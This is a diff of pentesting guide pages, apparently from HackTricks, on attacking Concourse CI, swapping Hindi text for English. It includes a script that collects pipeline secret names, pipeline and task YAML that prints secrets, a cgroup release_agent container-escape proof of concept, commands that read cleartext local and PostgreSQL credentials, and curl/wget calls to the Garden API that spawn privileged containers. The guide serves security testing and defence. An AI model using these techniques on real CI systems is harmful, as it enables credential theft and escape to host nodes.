||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars को **tasks steps** में निर्दिष्ट किया जा सकता है:
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है।
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है।
|
||||
- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें।
|
||||
- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज है, और उन्हें सभी सेट करता है।
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
|
||||
#### Credential Management
|
||||
|
||||
एक पाइपलाइन में **Credential Manager को निर्दिष्ट करने के विभिन्न तरीके** हैं, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\
|
||||
इसके अलावा, Concourse विभिन्न क्रेडेंशियल प्रबंधकों का समर्थन करता है:
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -57,64 +61,66 @@ Or using the following `fly` **arguments**:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि यदि आपके पास **Concourse तक कुछ प्रकार की लिखने की पहुंच** है, तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए।
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
|
||||
### Concourse Enumeration
|
||||
|
||||
एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है, जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो।
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
|
||||
#### Login and Current User enum
|
||||
|
||||
- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **टीम जिसका उपयोगकर्ता सदस्य है** जानना होगा:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- कॉन्फ़िगर की गई **targets** प्राप्त करें:
|
||||
- `fly targets`
|
||||
- जांचें कि कॉन्फ़िगर की गई **target connection** अभी भी **मान्य** है:
|
||||
- `fly -t <target> status`
|
||||
- निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें:
|
||||
- `fly -t <target> userinfo`
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा** गया है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं।
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
|
||||
#### Teams & Users
|
||||
|
||||
- टीमों की सूची प्राप्त करें
|
||||
- `fly -t <target> teams`
|
||||
- टीम के अंदर भूमिकाएँ प्राप्त करें
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- उपयोगकर्ताओं की सूची प्राप्त करें
|
||||
- `fly -t <target> active-users`
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **सूची** पाइपलाइनों की:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- पाइपलाइन yaml प्राप्त करें (**संवेदनशील जानकारी** परिभाषा में मिल सकती है):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- सभी पाइपलाइन **config घोषित vars** प्राप्त करें
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- सभी **पाइपलाइनों के रहस्य नाम** प्राप्त करें (यदि आप एक नौकरी बना/संशोधित कर सकते हैं या एक कंटेनर को हाईजैक कर सकते हैं तो आप उन्हें निकाल सकते हैं):
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
|
||||
#### Containers & Workers
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
- `fly -t <target> builds`
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
@@ -125,47 +131,51 @@ rm /tmp/secrets.txt
|
||||
|
||||
#### Secrets and params enumeration
|
||||
|
||||
पिछले अनुभाग में हमने देखा कि आप **पाइपलाइन द्वारा उपयोग किए जाने वाले सभी रहस्यों के नाम और वेरिएबल्स** कैसे प्राप्त कर सकते हैं। **वेरिएबल्स में संवेदनशील जानकारी** हो सकती है और **रहस्यों के नाम बाद में उन्हें चुराने की कोशिश करने के लिए उपयोगी होंगे**।
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** बना सकेंगे और बस `<pipeline>/<job>` **कंटेनर** के अंदर **सेशन** प्राप्त कर सकेंगे:
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
इन अनुमतियों के साथ आप सक्षम हो सकते हैं:
|
||||
|
||||
- **गुप्त जानकारी चुराना** **कंटेनर** के अंदर
|
||||
- **नोड** पर **भागना** करने की कोशिश करें
|
||||
- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करें (पॉड से और नोड से, यदि संभव हो)
|
||||
With these permissions you might be able to:
|
||||
|
||||
#### पाइपलाइन निर्माण/संशोधन
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
|
||||
यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
@@ -175,33 +185,36 @@ With the **modification/creation** of a new pipeline you will be able to:
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
यह पिछले तरीके के समान है लेकिन पूरी नई पाइपलाइन को संशोधित/बनाने के बजाय आप **बस एक कस्टम कार्य** चला सकते हैं (जो शायद बहुत अधिक **गुप्त** होगा):
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -259,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है, जो नोड में cmd के पथ को संशोधित करता है।
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
|
||||
#### एक वर्कर कंटेनर से नोड में भागना
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
|
||||
इसके लिए एक सामान्य release_agent escape में एक छोटे संशोधन की आवश्यकता है:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -291,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Web कंटेनर से नोड पर भागना
|
||||
|
||||
भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)।
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
|
||||
हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -304,9 +321,11 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
आप उन क्रेडेंशियल्स का उपयोग **वेब सर्वर के खिलाफ लॉगिन करने** और **एक विशेषाधिकार प्राप्त कंटेनर बनाने और नोड पर भागने** के लिए कर सकते हैं।
|
||||
|
||||
पर्यावरण में आप **postgresql** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी):
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -327,35 +346,39 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
#### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
|
||||
> [!WARNING]
|
||||
> ये सिर्फ सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषित नहीं किया है।
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
|
||||
डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं:
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
|
||||
- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक कार्यकर्ता के अंदर प्रत्येक गार्डन सेवा से बात कर सके**।
|
||||
- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना चाहते हैं** तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी।
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
|
||||
Concourse कार्यकर्ता उच्च कंटेनर विशेषाधिकारों के साथ चलते हैं:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
हालांकि, **माउंटिंग** तकनीक जैसे /dev डिवाइस या release_agent **काम नहीं करेगा** (क्योंकि नोड का असली डिवाइस, जिसमें फाइल सिस्टम है, उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है।
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **विशेषाधिकार प्राप्त कंटेनर** में **कमांड** **निष्पादित** कर सकते हैं जो **वर्तमान** **कार्यकर्ता** द्वारा बनाया गया है, तो हम **नोड पर भाग सकते हैं**।
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है।
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
**चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -368,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**एक नया विशेषाधिकार प्राप्त कंटेनर बनाना**
|
||||
|
||||
आप बहुत आसानी से एक नया कंटेनर बना सकते हैं (बस एक यादृच्छिक UID चलाएँ) और उस पर कुछ निष्पादित कर सकते हैं:
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं:
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -409,8 +436,11 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -8,16 +8,19 @@
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
यह docker-compose फ़ाइल concourse के साथ कुछ परीक्षण करने के लिए स्थापना को सरल बनाती है:
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
आप अपने OS के लिए कमांड लाइन `fly` को वेब से `127.0.0.1:8080` पर डाउनलोड कर सकते हैं।
|
||||
|
||||
#### Kubernetes के साथ (सिफारिश की गई)
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
|
||||
आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को helm-chart का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -28,52 +31,55 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
concourse env बनाने के बाद, आप एक गुप्त को उत्पन्न कर सकते हैं और concourse वेब में चल रहे SA को K8s गुप्तों तक पहुँचने की अनुमति दे सकते हैं:
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### पाइपलाइन बनाएं
|
||||
|
||||
एक पाइपलाइन [Jobs](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [Steps](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है।
|
||||
### Create Pipeline
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
### Steps
|
||||
|
||||
कई विभिन्न प्रकार के स्टेप्स का उपयोग किया जा सकता है:
|
||||
Several different type of steps can be used:
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
